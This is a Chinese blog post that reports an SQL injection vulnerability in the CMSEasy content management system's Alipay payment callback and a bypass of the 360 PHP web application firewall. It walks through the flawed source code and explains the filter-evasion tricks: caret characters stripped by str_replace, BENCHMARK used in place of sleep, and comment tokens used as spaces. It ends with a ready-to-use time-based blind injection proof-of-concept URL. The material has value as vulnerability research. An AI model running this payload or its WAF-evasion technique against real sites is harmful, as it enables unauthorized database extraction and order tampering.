360 php waf,cmseasy 最新版补丁绕过sql注入(绕过360waf)

首先还是老地方:archive_act.php(611行)

function respond_action() {

include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';

$payclassname = front::$get['code'];

$payobj = new $payclassname();

$uri = $_SERVER["REQUEST_URI"];

$__uriget = strstr($uri, '?');

$__uriget = str_replace('?', '', $__uriget);

$__uriget = explode('&', $__uriget);

$_GET = array();

foreach ($__uriget as $key => $val) {

$tmp = explode('=', $val);

$_GET[$tmp[0]] = $tmp[1];

if(preg_match('/\'|select|union|"/i', $tmp1)){

exit('非法参数');

}

}

file_put_contents('logs11.txt', var_export($_GET,true));

$status = $payobj->respond();

if ($status) {

echo '';

front::refresh(url('archive/orders/oid/' . front::get('subject'), true));

} else {

echo '';

front::refresh(url('archive/orders/oid/' . front::get('subject'), true));

}

}

$tmp1与$tmp[1]开发人员一时犯糊涂,没看清,导致无效过滤。而且这里get参数进行了重组,从$_SERVER["REQUEST_URI"]分割获取,多此一举,还导致之前的过滤全部无效,这边过滤又失效。

通过front::$get['code'] 可以控制需要加载的pay文件,

再看文件: alipay.php:

function respond() {

if (!empty($_POST)) {

foreach($_POST as $key =>$data) {

if(preg_match('/(=||\')/', $data)){

return false;

}

$_GET[$key] = $data;

}

}

$payment = pay::get_payment($_GET['code']);

$seller_email = rawurldecode($_GET['seller_email']);

$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);

$order_sn = trim($order_sn);

if (!pay::check_money($order_sn,$_GET['total_fee'])) {

return false;

}

if($_GET['trade_status'] == "WAIT_SELLER_SEND_GOODS"||$_GET['trade_status'] == "TRADE_FINISHED" || $_GET['trade_status'] == "TRADE_SUCCESS") {

pay::changeorders($order_sn,$_GET);

return true;

}else {

return false;

}

}

控制参数trade_status=WAIT_SELLER_SEND_GOODS, 进入pay::changeorders($order_sn,$_GET);

public static function changeorders($id,$orderlog) {

//file_put_contents('logs.txt', $id);

$where=array();

$where['id']=$id;

$where['status']=4;

//$where['orderlog']=serialize($orderlog);

$update=orders::getInstance()->rec_update($where,$id);

if($update<1) {

exit('改变订单状态出错,请联系管理员');

}

}

在这里 $id 就是之前$order_sn,可以直接由get参数控制。

进入这个方法:$update=orders::getInstance()->rec_update($where,$id);

function rec_update($row,$where) {

$tbname=$this->name;

$sql=$this->sql_update($tbname,$row,$where);

//echo $sql."
";

return $this->query_unbuffered($sql);

}

这里程序员又犯糊涂了, rec_update的方法 where变量明显是第二个参数,传入的时候居然$where放到了第一个参数(这个程序员开了吧!),这样$id值就被当做sql语句的条件了。

好吧 开始绕waf:

首先是360的waf: 检测了好多危险函数,更可恶的全局过滤单引号,看到就杀。但是$order_sn 直接被带入到了where后面 根本不需要单引号,不起作用, 在之前的方法中有一个:

$order_sn = str_replace($_GET['subject'],'',$_GET['out_trade_no']);

这样利用替换功能,在危险函数中间都插入^, 再把subject设置成^,就可以成功绕过360waf。

接下来在sql语句执行的时候又有一个过滤器:

if(preg_match('/(if|select|ascii|from|sleep)/i', $condition)){

//echo $condition;

exit('sql inject');

}

由于是update注入,又不能显示错误,sleep被过滤,只能用BENCHMARK。

又过滤了if,只能用or。

get参数又是从querystring中直接过去,空格会被替换成%20,所有只能用/**/替换:

最终的POC:(延时盲注法,稍微改动下

http://**.**.**/cmseasy/index.phpcase=archive&act=respond&code=alipay&subject=^&out_trade_no=ord(sub^str(datab^ase(),1,1))/^**^/not/^**^/in/^**^/(99)/^**^/or/^**^/BEN^CHMARK(100000000,md5(1))&trade_status=WAIT_SELLER_SEND_GOODS

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值